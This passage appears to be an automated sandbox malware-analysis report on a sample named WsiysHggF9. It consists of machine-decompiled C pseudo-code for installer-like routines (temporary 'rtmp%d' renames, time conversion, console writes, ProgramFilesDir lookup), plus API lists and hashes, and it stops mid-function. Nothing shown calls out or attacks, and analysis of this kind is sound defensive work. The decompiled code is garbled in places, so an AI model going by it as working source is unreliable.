Instruction Fuzzy Hash: E521A631264105BBD3115F65FD4EE3B3B6CEB47B93F014116FE01A24A0DB7298659A36

Uniqueness

Uniqueness Score: -1.00%

Function 002493E0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136
fileCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E002493E0(void* __ecx) {
				void* __esi;
				void* _t31;
				short _t32;
				long _t34;
				void* _t39;
				short _t41;
				void* _t65;
				intOrPtr _t68;
				void* _t76;
				intOrPtr _t79;
				void* _t81;
				WCHAR* _t82;
				void* _t84;
				void* _t86;

				E0025E0E4(E00271CBC, _t84);
				E0025E1C0();
				_t82 =  *(_t84 + 8);
				_t31 = _t84 - 0x4034;
				__imp__GetLongPathNameW(_t82, _t31, 0x800, _t76, _t81, _t65);
				if(_t31 == 0 || _t31 >= 0x800) {
					L20:
					_t32 = 0;
					__eflags = 0;
				} else {
					_t34 = GetShortPathNameW(_t82, _t84 - 0x5034, 0x800);
					if(_t34 == 0) {
						goto L20;
					} else {
						_t91 = _t34 - 0x800;
						if(_t34 >= 0x800) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t84 - 0x10)) = E0024BBC5(_t91, _t84 - 0x4034);
							_t78 = E0024BBC5(_t91, _t84 - 0x5034);
							_t68 = 0;
							if( *_t38 == 0) {
								goto L20;
							} else {
								_t39 = E00251708( *((intOrPtr*)(_t84 - 0x10)), _t78);
								_t93 = _t39;
								if(_t39 == 0) {
									goto L20;
								} else {
									_t41 = E00251708(E0024BBC5(_t93, _t82), _t78);
									if(_t41 != 0) {
										goto L20;
									} else {
										 *(_t84 - 0x1010) = _t41;
										_t79 = 0;
										while(1) {
											_t95 = _t41;
											if(_t41 != 0) {
												break;
											}
											E0024FD96(_t84 - 0x1010, _t82, 0x800);
											E00243FD6(E0024BBC5(_t95, _t84 - 0x1010), 0x800, L"rtmp%d", _t79);
											_t86 = _t86 + 0x10;
											if(E0024A0C0(_t84 - 0x1010) == 0) {
												_t41 =  *(_t84 - 0x1010);
											} else {
												_t41 = 0;
												 *(_t84 - 0x1010) = 0;
											}
											_t79 = _t79 + 0x7b;
											if(_t79 < 0x2710) {
												continue;
											} else {
												_t98 = _t41;
												if(_t41 == 0) {
													goto L20;
												} else {
													break;
												}
											}
											goto L21;
										}
										E0024FD96(_t84 - 0x3034, _t82, 0x800);
										_push(0x800);
										E0024BC3B(_t98, _t84 - 0x3034,  *((intOrPtr*)(_t84 - 0x10)));
										if(MoveFileW(_t84 - 0x3034, _t84 - 0x1010) == 0) {
											goto L20;
										} else {
											E002495B6(_t84 - 0x2034);
											 *((intOrPtr*)(_t84 - 4)) = _t68;
											if(E0024A0C0(_t82) == 0) {
												_push(0x12);
												_push(_t82);
												_t68 = E002496BE(_t84 - 0x2034);
											}
											MoveFileW(_t84 - 0x1010, _t84 - 0x3034);
											if(_t68 != 0) {
												E00249670(_t84 - 0x2034);
												E002497B7(_t84 - 0x2034, _t82);
											}
											E002495E8(_t84 - 0x2034, _t82);
											_t32 = 1;
										}
									}
								}
							}
						}
					}
				}
				L21:
				 *[fs:0x0] =  *((intOrPtr*)(_t84 - 0xc));
				return _t32;
			}

0x002493e5
0x002493ef
0x002493f6
0x002493f9
0x00249408
0x00249410
0x002495a1
0x002495a1
0x002495a1
0x0024941e
0x00249427
0x0024942f
0x00000000
0x00249435
0x00249435
0x00249437
0x00000000
0x0024943d
0x00249449
0x00249458
0x0024945a
0x0024945f
0x00000000
0x00249465
0x00249469
0x0024946e
0x00249470
0x00000000
0x00249476
0x0024947e
0x00249485
0x00000000
0x0024948b
0x0024948b
0x00249492
0x00249494
0x00249494
0x00249497
0x00000000
0x00000000
0x002494a6
0x002494c3
0x002494c8
0x002494d9
0x002494e6
0x002494db
0x002494db
0x002494dd
0x002494dd
0x002494ed
0x002494f6
0x00000000
0x002494f8
0x002494f8
0x002494fb
0x00000000
0x00000000
0x00000000
0x00000000
0x002494fb
0x00000000
0x002494f6
0x0024950f
0x00249514
0x0024951f
0x0024953a
0x00000000
0x0024953c
0x00249542
0x00249548
0x00249552
0x00249554
0x00249556
0x00249562
0x00249562
0x00249572
0x0024957a
0x00249582
0x0024958d
0x0024958d
0x00249598
0x0024959d
0x0024959d
0x0024953a
0x00249485
0x00249470
0x0024945f
0x00249437
0x0024942f
0x002495a3
0x002495a9
0x002495b3

APIs

__EH_prolog.LIBCMT ref: 002493E5
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00249408
GetShortPathNameW.KERNEL32 ref: 00249427

Part of subcall function 00251708: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011708,0024BA45,00000000,.exe,?,?,00000800,?,?,0025854F,?), ref: 0025171E

_swprintf.LIBCMT ref: 002494C3

Part of subcall function 00243FD6: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00243FE9

MoveFileW.KERNEL32(?,?), ref: 00249532
MoveFileW.KERNEL32(?,?), ref: 00249572

Strings

rtmp%d, xrefs: 002494AC

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
String ID: rtmp%d
API String ID: 2111052971-3303766350
Opcode ID: 9b658f7d61775bd3051a423447194566071b4bdd100c33569446165aa77b1367
Instruction ID: 89e410c398d5a10eabd2bd86bdf9891d483fc936b7e0c9caee0124a3884855d9
Opcode Fuzzy Hash: 9b658f7d61775bd3051a423447194566071b4bdd100c33569446165aa77b1367
Instruction Fuzzy Hash: 2B416071921219AACF29EF60DD45EDB737CAF44381F5004A9B545A7041DB348BE8CF64

Uniqueness

Uniqueness Score: -1.00%

Function 002509EA Relevance: 12.1, APIs: 8, Instructions: 115
timeCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E002509EA(intOrPtr* __ecx, intOrPtr __edx, void* __eflags, signed int* _a4) {
				struct _SYSTEMTIME _v16;
				struct _SYSTEMTIME _v32;
				struct _SYSTEMTIME _v48;
				struct _FILETIME _v56;
				struct _FILETIME _v64;
				struct _FILETIME _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				signed int _t73;
				void* _t81;
				signed int _t85;
				void* _t86;
				intOrPtr _t87;
				intOrPtr* _t89;
				intOrPtr* _t90;
				signed int* _t91;
				signed int _t92;

				_t87 = __edx;
				_t90 = __ecx;
				_v80 = E0025E740( *__ecx,  *((intOrPtr*)(__ecx + 4)), 0x64, 0);
				_v76 = _t87;
				if(E0024AC35() >= 0x600) {
					FileTimeToSystemTime( &_v64,  &_v32);
					SystemTimeToTzSpecificLocalTime(0,  &_v32,  &_v16);
					SystemTimeToFileTime( &_v16,  &_v72);
					SystemTimeToFileTime( &_v32,  &_v56);
					asm("sbb ecx, [esp+0x24]");
					asm("sbb ecx, ebx");
					asm("adc ecx, ebx");
					_v72.dwLowDateTime = 0 - _v56.dwLowDateTime + _v72.dwLowDateTime + _v64.dwLowDateTime;
					asm("adc ecx, ebx");
					_v72.dwHighDateTime = _v72.dwHighDateTime + _v64.dwHighDateTime;
				} else {
					FileTimeToLocalFileTime( &_v64,  &_v72);
				}
				FileTimeToSystemTime( &_v72,  &_v48);
				_t91 = _a4;
				_t81 = 1;
				_t85 = _v48.wDay & 0x0000ffff;
				_t92 = _v48.wMonth & 0x0000ffff;
				_t88 = _v48.wYear & 0x0000ffff;
				_t91[3] = _v48.wHour & 0x0000ffff;
				_t91[4] = _v48.wMinute & 0x0000ffff;
				_t91[5] = _v48.wSecond & 0x0000ffff;
				_t91[7] = _v48.wDayOfWeek & 0x0000ffff;
				 *_t91 = _v48.wYear & 0x0000ffff;
				_t91[1] = _t92;
				_t91[2] = _t85;
				_t91[8] = _t85 - 1;
				if(_t92 > 1) {
					_t89 = 0x27d084;
					_t86 = 4;
					while(_t86 <= 0x30) {
						_t86 = _t86 + 4;
						_t91[8] = _t91[8] +  *_t89;
						_t89 = _t89 + 4;
						_t81 = _t81 + 1;
						if(_t81 < _t92) {
							continue;
						}
						break;
					}
					_t88 = _v48.wYear & 0x0000ffff;
				}
				if(_t92 > 2 && E00250B57(_t88) != 0) {
					_t91[8] = _t91[8] + 1;
				}
				_t73 = E0025E7B0( *_t90,  *((intOrPtr*)(_t90 + 4)), 0x3b9aca00, 0);
				_t91[6] = _t73;
				return _t73;
			}

0x002509ea
0x002509f1
0x00250a02
0x00250a06
0x00250a14
0x00250a32
0x00250a43
0x00250a53
0x00250a63
0x00250a75
0x00250a7d
0x00250a83
0x00250a89
0x00250a8d
0x00250a8f
0x00250a16
0x00250a20
0x00250a20
0x00250a9d
0x00250aa3
0x00250aae
0x00250aaf
0x00250ab4
0x00250ab9
0x00250abe
0x00250ac6
0x00250ace
0x00250ad6
0x00250adc
0x00250ade
0x00250ae1
0x00250ae4
0x00250ae9
0x00250aed
0x00250af2
0x00250af3
0x00250afa
0x00250afd
0x00250b00
0x00250b03
0x00250b06
0x00000000
0x00000000
0x00000000
0x00250b06
0x00250b08
0x00250b08
0x00250b10
0x00250b1c
0x00250b1c
0x00250b2b
0x00250b31
0x00250b3a

APIs

__aulldiv.LIBCMT ref: 002509FD

Part of subcall function 0024AC35: GetVersionExW.KERNEL32(?), ref: 0024AC5A

FileTimeToLocalFileTime.KERNEL32(?,00000001,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00250A20
FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00250A32
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00250A43
SystemTimeToFileTime.KERNEL32(?,?), ref: 00250A53
SystemTimeToFileTime.KERNEL32(?,?), ref: 00250A63
FileTimeToSystemTime.KERNEL32(?,?), ref: 00250A9D
__aullrem.LIBCMT ref: 00250B2B

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: fe2f60b52574b6ea079055d138b9e9ba7f621b30034826814136bc14f08ebe30
Instruction ID: b00b9a599b8e1f1d04ac4325aca1583a739126bd7f15172ffe3db8cd5664f74d
Opcode Fuzzy Hash: fe2f60b52574b6ea079055d138b9e9ba7f621b30034826814136bc14f08ebe30
Instruction Fuzzy Hash: 0B4129B24083069FC714DF64D88496BF7F8FB88715F004A2EFA9692650E734E558CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0026EC6D Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0026EC6D(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t94;
				long _t97;
				void _t105;
				void* _t112;
				signed int _t116;
				signed int _t118;
				signed char _t123;
				signed char _t128;
				intOrPtr _t129;
				signed int _t131;
				signed char* _t133;
				intOrPtr* _t135;
				signed int _t136;
				void* _t137;

				_t78 =  *0x27d668; // 0xdef7aace
				_v8 = _t78 ^ _t136;
				_t80 = _a8;
				_t118 = _t80 >> 6;
				_t116 = (_t80 & 0x0000003f) * 0x30;
				_t133 = _a12;
				_v52 = _t133;
				_v48 = _t118;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0x2a0290 + _t118 * 4)) + _t116 + 0x18));
				_v40 = _a16 + _t133;
				_t86 = GetConsoleCP();
				_t135 = _a4;
				_v60 = _t86;
				 *_t135 = 0;
				 *((intOrPtr*)(_t135 + 4)) = 0;
				 *((intOrPtr*)(_t135 + 8)) = 0;
				while(_t133 < _v40) {
					_v28 = 0;
					_v31 =  *_t133;
					_t129 =  *((intOrPtr*)(0x2a0290 + _v48 * 4));
					_t123 =  *(_t129 + _t116 + 0x2d);
					if((_t123 & 0x00000004) == 0) {
						if(( *(E00269DA7(_t116, _t129) + ( *_t133 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t133);
							goto L8;
						} else {
							if(_t133 >= _v40) {
								_t131 = _v48;
								 *((char*)( *((intOrPtr*)(0x2a0290 + _t131 * 4)) + _t116 + 0x2e)) =  *_t133;
								 *( *((intOrPtr*)(0x2a0290 + _t131 * 4)) + _t116 + 0x2d) =  *( *((intOrPtr*)(0x2a0290 + _t131 * 4)) + _t116 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
							} else {
								_t112 = E0026895A( &_v28, _t133, 2);
								_t137 = _t137 + 0xc;
								if(_t112 != 0xffffffff) {
									_t133 =  &(_t133[1]);
									goto L9;
								}
							}
						}
					} else {
						_t128 = _t123 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t129 + _t116 + 0x2e));
						_push(2);
						_v15 = _t128;
						 *(_t129 + _t116 + 0x2d) = _t128;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t94 = E0026895A();
						_t137 = _t137 + 0xc;
						if(_t94 != 0xffffffff) {
							L9:
							_t133 =  &(_t133[1]);
							_t97 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t97;
							if(_t97 != 0) {
								if(WriteFile(_v44,  &_v24, _t97,  &_v36, 0) == 0) {
									L19:
									 *_t135 = GetLastError();
								} else {
									_t48 = _t135 + 8; // 0xff76e900
									 *((intOrPtr*)(_t135 + 4)) =  *_t48 - _v52 + _t133;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t105 = 0xd;
											_v32 = _t105;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t135 + 8)) =  *((intOrPtr*)(_t135 + 8)) + 1;
													 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				return E0025EA8A(_v8 ^ _t136);
			}

0x0026ec75
0x0026ec7c
0x0026ec7f
0x0026ec87
0x0026ec8b
0x0026ec97
0x0026ec9a
0x0026ec9d
0x0026eca4
0x0026ecac
0x0026ecaf
0x0026ecb5
0x0026ecbb
0x0026ecc0
0x0026ecc2
0x0026ecc5
0x0026ecca
0x0026ecd4
0x0026ecdb
0x0026ecde
0x0026ece5
0x0026ecec
0x0026ed18
0x0026ed3e
0x0026ed40
0x00000000
0x0026ed1a
0x0026ed1d
0x0026ede4
0x0026edf0
0x0026edfb
0x0026ee00
0x0026ed23
0x0026ed2a
0x0026ed2f
0x0026ed35
0x0026ed3b
0x00000000
0x0026ed3b
0x0026ed35
0x0026ed1d
0x0026ecee
0x0026ecf2
0x0026ecf5
0x0026ecfb
0x0026ecfd
0x0026ed00
0x0026ed04
0x0026ed41
0x0026ed44
0x0026ed45
0x0026ed4a
0x0026ed50
0x0026ed56
0x0026ed65
0x0026ed6b
0x0026ed71
0x0026ed76
0x0026ed92
0x0026ee05
0x0026ee0b
0x0026ed94
0x0026ed94
0x0026ed9c
0x0026eda5
0x0026edab
0x00000000
0x0026edad
0x0026edaf
0x0026edb2
0x0026edcb
0x00000000
0x0026edcd
0x0026edd1
0x0026edd3
0x0026edd6
0x00000000
0x0026edd6
0x0026edd1
0x0026edcb
0x0026edab
0x0026eda5
0x0026ed92
0x0026ed76
0x0026ed50
0x00000000
0x0026edd9
0x0026edd9
0x0026ee0d
0x0026ee1f

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,0026F3E2,00000000,00000000,00000000,00000000,00000000,0026487F), ref: 0026ECAF
__fassign.LIBCMT ref: 0026ED2A
__fassign.LIBCMT ref: 0026ED45
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 0026ED6B
WriteFile.KERNEL32(?,00000000,00000000,0026F3E2,00000000,?,?,?,?,?,?,?,?,?,0026F3E2,00000000), ref: 0026ED8A
WriteFile.KERNEL32(?,00000000,00000001,0026F3E2,00000000,?,?,?,?,?,?,?,?,?,0026F3E2,00000000), ref: 0026EDC3

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: c7a230cae53a56d00f7473a0659426417dd9dcbbf2b5adba3c38bb5d34336fb9
Instruction ID: 289f2e38128545cbb0d17238355c8609dc7d08204b6f7237b3e00f2deb270e5e
Opcode Fuzzy Hash: c7a230cae53a56d00f7473a0659426417dd9dcbbf2b5adba3c38bb5d34336fb9
Instruction Fuzzy Hash: 4851D175A102499FCF10CFA8D889AEEBBF9FF09310F15451AE955E7291D73099A0CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0025C3AB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E0025C3AB(intOrPtr __ebx, void* __ecx) {
				intOrPtr _t207;
				void* _t208;
				intOrPtr _t259;
				signed int _t273;
				void* _t276;
				signed int _t277;
				void* _t281;

				L0:
				while(1) {
					L0:
					_t259 = __ebx;
					if(__ebx != 1) {
						goto L110;
					}
					L94:
					__eax = __ebp - 0x7c84;
					__edi = 0x800;
					GetTempPathW(0x800, __ebp - 0x7c84) = __ebp - 0x7c84;
					E0024B147(__eflags, __ebp - 0x7c84, 0x800) = 0;
					__esi = 0;
					_push(0);
					while(1) {
						L96:
						_push( *0x27d5f8);
						__ebp - 0x7c84 = E00243FD6(0x28846a, __edi, L"%s%s%u", __ebp - 0x7c84);
						__eax = E0024A0C0(0x28846a);
						__eflags = __al;
						if(__al == 0) {
							break;
						}
						L95:
						__esi =  &(__esi->i);
						__eflags = __esi;
						_push(__esi);
					}
					L97:
					__eax = SetDlgItemTextW( *(__ebp + 8), 0x66, 0x28846a);
					__eflags =  *(__ebp - 0x5c84);
					if( *(__ebp - 0x5c84) == 0) {
						while(1) {
							L162:
							_push(0x1000);
							_t195 = _t281 - 0xe; // 0xffffa36e
							_t196 = _t281 - 0xd; // 0xffffa36f
							_t197 = _t281 - 0x5c84; // 0xffff46f8
							_t198 = _t281 - 0xfc8c; // 0xfffea6f0
							_push( *((intOrPtr*)(_t281 + 0xc)));
							_t207 = E0025A986();
							_t259 =  *((intOrPtr*)(_t281 + 0x10));
							 *((intOrPtr*)(_t281 + 0xc)) = _t207;
							if(_t207 != 0) {
								_t208 = _t281 - 0x5c84;
								_t276 = _t281 - 0x1bc8c;
								_t273 = 6;
								goto L2;
							} else {
								break;
							}
							L4:
							while(E00251708(_t281 - 0xfc8c,  *((intOrPtr*)(0x27d618 + _t277 * 4))) != 0) {
								_t277 = _t277 + 1;
								if(_t277 < 0xe) {
									continue;
								} else {
									goto L162;
								}
							}
							__eflags = _t277 - 0xd;
							if(__eflags > 0) {
								continue;
							}
							L8:
							switch( *((intOrPtr*)(_t277 * 4 +  &M0025C929))) {
								case 0:
									L9:
									__eflags = _t259 - 2;
									if(_t259 == 2) {
										E00259D58(_t281 - 0x7c84, 0x800);
										E0024A3DD(E0024B8A5(_t281 - 0x7c84, _t281 - 0x5c84, _t281 - 0xdc8c, 0x800), _t259, _t281 - 0x8c8c, _t277);
										 *(_t281 - 4) = 0;
										E0024A517(_t281 - 0x8c8c, _t281 - 0xdc8c);
										E00247098(_t281 - 0x3c84);
										while(1) {
											L23:
											_push(0);
											_t267 = _t281 - 0x8c8c;
											_t222 = E0024A46A(_t281 - 0x8c8c, _t272, _t281 - 0x3c84);
											__eflags = _t222;
											if(_t222 == 0) {
												break;
											}
											L11:
											SetFileAttributesW(_t281 - 0x3c84, 0);
											__eflags =  *(_t281 - 0x2c78);
											if(__eflags == 0) {
												L16:
												_t226 = GetFileAttributesW(_t281 - 0x3c84);
												__eflags = _t226 - 0xffffffff;
												if(_t226 == 0xffffffff) {
													continue;
												}
												L17:
												_t228 = DeleteFileW(_t281 - 0x3c84);
												__eflags = _t228;
												if(_t228 != 0) {
													continue;
												} else {
													_t279 = 0;
													_push(0);
													goto L20;
													L20:
													E00243FD6(_t281 - 0x103c, 0x800, L"%s.%d.tmp", _t281 - 0x3c84);
													_t283 = _t283 + 0x14;
													_t233 = GetFileAttributesW(_t281 - 0x103c);
													__eflags = _t233 - 0xffffffff;
													if(_t233 != 0xffffffff) {
														_t279 = _t279 + 1;
														__eflags = _t279;
														_push(_t279);
														goto L20;
													} else {
														_t236 = MoveFileW(_t281 - 0x3c84, _t281 - 0x103c);
														__eflags = _t236;
														if(_t236 != 0) {
															MoveFileExW(_t281 - 0x103c, 0, 4);
														}
														continue;
													}
												}
											}
											L12:
											E0024B437(_t267, __eflags, _t281 - 0x7c84, _t281 - 0x103c, 0x800);
											E0024B147(__eflags, _t281 - 0x103c, 0x800);
											_t280 = E002633F3(_t281 - 0x7c84);
											__eflags = _t280 - 4;
											if(_t280 < 4) {
												L14:
												_t247 = E0024B865(_t281 - 0x5c84);
												__eflags = _t247;
												if(_t247 != 0) {
													break;
												}
												L15:
												_t250 = E002633F3(_t281 - 0x3c84);
												__eflags = 0;
												 *((short*)(_t281 + _t250 * 2 - 0x3c82)) = 0;
												E0025F1A0(0x800, _t281 - 0x3c, 0, 0x1e);
												_t283 = _t283 + 0x10;
												 *((intOrPtr*)(_t281 - 0x38)) = 3;
												_push(0x14);
												_pop(_t253);
												 *((short*)(_t281 - 0x2c)) = _t253;
												 *((intOrPtr*)(_t281 - 0x34)) = _t281 - 0x3c84;
												_push(_t281 - 0x3c);
												 *0x2a1074();
												goto L16;
											}
											L13:
											_t258 = E002633F3(_t281 - 0x103c);
											__eflags = _t280 - _t258;
											if(_t280 > _t258) {
												goto L15;
											}
											goto L14;
										}
										L24:
										 *(_t281 - 4) =  *(_t281 - 4) | 0xffffffff;
										E0024A3F3(_t281 - 0x8c8c);
									}
									goto L162;
								case 1:
									L25:
									__eflags = __ebx;
									if(__ebx == 0) {
										__eax = E002633F3(__esi);
										__eax = __eax + __edi;
										_push(__eax);
										_push( *0x29cc7c);
										__eax = E0026341E(__ecx, __edx);
										__esp = __esp + 0xc;
										__eflags = __eax;
										if(__eax != 0) {
											 *0x29cc7c = __eax;
											__eflags = __bl;
											if(__bl != 0) {
												__ecx = 0;
												__eflags = 0;
												 *__eax = __cx;
											}
											__eax = E00266FAD(__eax, __esi);
											_pop(__ecx);
											_pop(__ecx);
										}
										__eflags = __bh;
										if(__bh == 0) {
											__eax = L0026340E(__esi);
										}
									}
									goto L162;
								case 2:
									L39:
									__eflags = __ebx;
									if(__ebx == 0) {
										__ebp - 0x5c84 = SetWindowTextW( *(__ebp + 8), __ebp - 0x5c84);
									}
									goto L162;
								case 3:
									L41:
									__eflags = __ebx;
									if(__ebx != 0) {
										goto L162;
									}
									L42:
									__eflags =  *0x289472 - __di;
									if( *0x289472 != __di) {
										goto L162;
									}
									L43:
									__eax = 0;
									__edi = __ebp - 0x5c84;
									_push(0x22);
									 *(__ebp - 0x103c) = __ax;
									_pop(__eax);
									__eflags =  *(__ebp - 0x5c84) - __ax;
									if( *(__ebp - 0x5c84) == __ax) {
										__edi = __ebp - 0x5c82;
									}
									__eax = E002633F3(__edi);
									__esi = 0x800;
									__eflags = __eax - 0x800;
									if(__eax >= 0x800) {
										goto L162;
									} else {
										L46:
										__eax =  *__edi & 0x0000ffff;
										_push(0x5c);
										_pop(__ecx);
										__eflags = ( *__edi & 0x0000ffff) - 0x2e;
										if(( *__edi & 0x0000ffff) != 0x2e) {
											L50:
											__eflags = __ax - __cx;
											if(__ax == __cx) {
												L62:
												__ebp - 0x103c = E0024FD96(__ebp - 0x103c, __edi, __esi);
												__ebx = 0;
												__eflags = 0;
												L63:
												_push(0x22);
												_pop(__eax);
												__eax = __ebp - 0x103c;
												__eax = E0026161B(__ebp - 0x103c, __ebp - 0x103c);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													__eflags =  *((intOrPtr*)(__eax + 2)) - __bx;
													if( *((intOrPtr*)(__eax + 2)) == __bx) {
														__ecx = 0;
														__eflags = 0;
														 *__eax = __cx;
													}
												}
												__eax = __ebp - 0x103c;
												__edi = 0x289472;
												E0024FD96(0x289472, __ebp - 0x103c, __esi) = __ebp - 0x103c;
												__eax = E0025A81F(__ebp - 0x103c, __esi);
												__esi = GetDlgItem( *(__ebp + 8), 0x66);
												__ebp - 0x103c = SetWindowTextW(__esi, __ebp - 0x103c); // executed
												__eax = SendMessageW(__esi, 0x143, __ebx, 0x289472); // executed
												__eax = __ebp - 0x103c;
												__eax = E00263429(__ebp - 0x103c, 0x289472, __eax);
												_pop(__ecx);
												_pop(__ecx);
												__eflags = __eax;
												if(__eax != 0) {
													__ebp - 0x103c = SendMessageW(__esi, 0x143, __ebx, __ebp - 0x103c);
												}
												goto L162;
											}
											L51:
											__eflags = __ax;
											if(__ax == 0) {
												L53:
												__eax = __ebp - 0x18;
												__ebx = 0;
												_push(__ebp - 0x18);
												_push(1);
												_push(0);
												_push(L"Software\\Microsoft\\Windows\\CurrentVersion");
												_push(0x80000002);
												__eax =  *0x2a1028();
												__eflags = __eax;
												if(__eax == 0) {
													__eax = __ebp - 0x14;
													 *(__ebp - 0x14) = 0x1000;
													_push(__ebp - 0x14);
													__eax = __ebp - 0x103c;
													_push(__ebp - 0x103c);
													__eax = __ebp - 0x1c;
													_push(__ebp - 0x1c);
													_push(0);
													_push(L"ProgramFilesDir");
													_push( *(__ebp - 0x18));
													__eax =  *0x2a1024();
													_push( *(__ebp - 0x18));
													 *0x2a1004() =  *(__ebp - 0x14);
													__ecx = 0x7ff;
													__eax =  *(__ebp - 0x14) >> 1;
													__eflags = __eax - 0x7ff;
													if(__eax >= 0x7ff) {
														__eax = 0x7ff;
													}
													__ecx = 0;
													__eflags = 0;
													 *((short*)(__ebp + __eax * 2 - 0x103c)) = __cx;
												}
												__eflags =  *(__ebp - 0x103c) - __bx;
												if( *(__ebp - 0x103c) != __bx) {
													__eax = __ebp - 0x103c;
													__eax = E002633F3(__ebp - 0x103c);
													_push(0x5c);
													_pop(__ecx);
													__eflags =  *((intOrPtr*)(__ebp + __eax * 2 - 0x103e)) - __cx;
													if(__eflags != 0) {
														__ebp - 0x103c = E0024FD6E(__eflags, __ebp - 0x103c, "\\", __esi);
													}
												}
												__esi = E002633F3(__edi);
												__eax = __ebp - 0x103c;
												__eflags = __esi - 0x7ff;
												__esi = 0x800;
												if(__eflags < 0) {
													__ebp - 0x103c = E0024FD6E(__eflags, __ebp - 0x103c, __edi, 0x800);
												}
												goto L63;
											}
											L52:
											__eflags =  *((short*)(__edi + 2)) - 0x3a;
											if( *((short*)(__edi + 2)) == 0x3a) {
												goto L62;
											}
											goto L53;
										}
										L47:
										__eflags =  *((intOrPtr*)(__edi + 2)) - __cx;
										if( *((intOrPtr*)(__edi + 2)) != __cx) {
											goto L50;
										}
										L48:
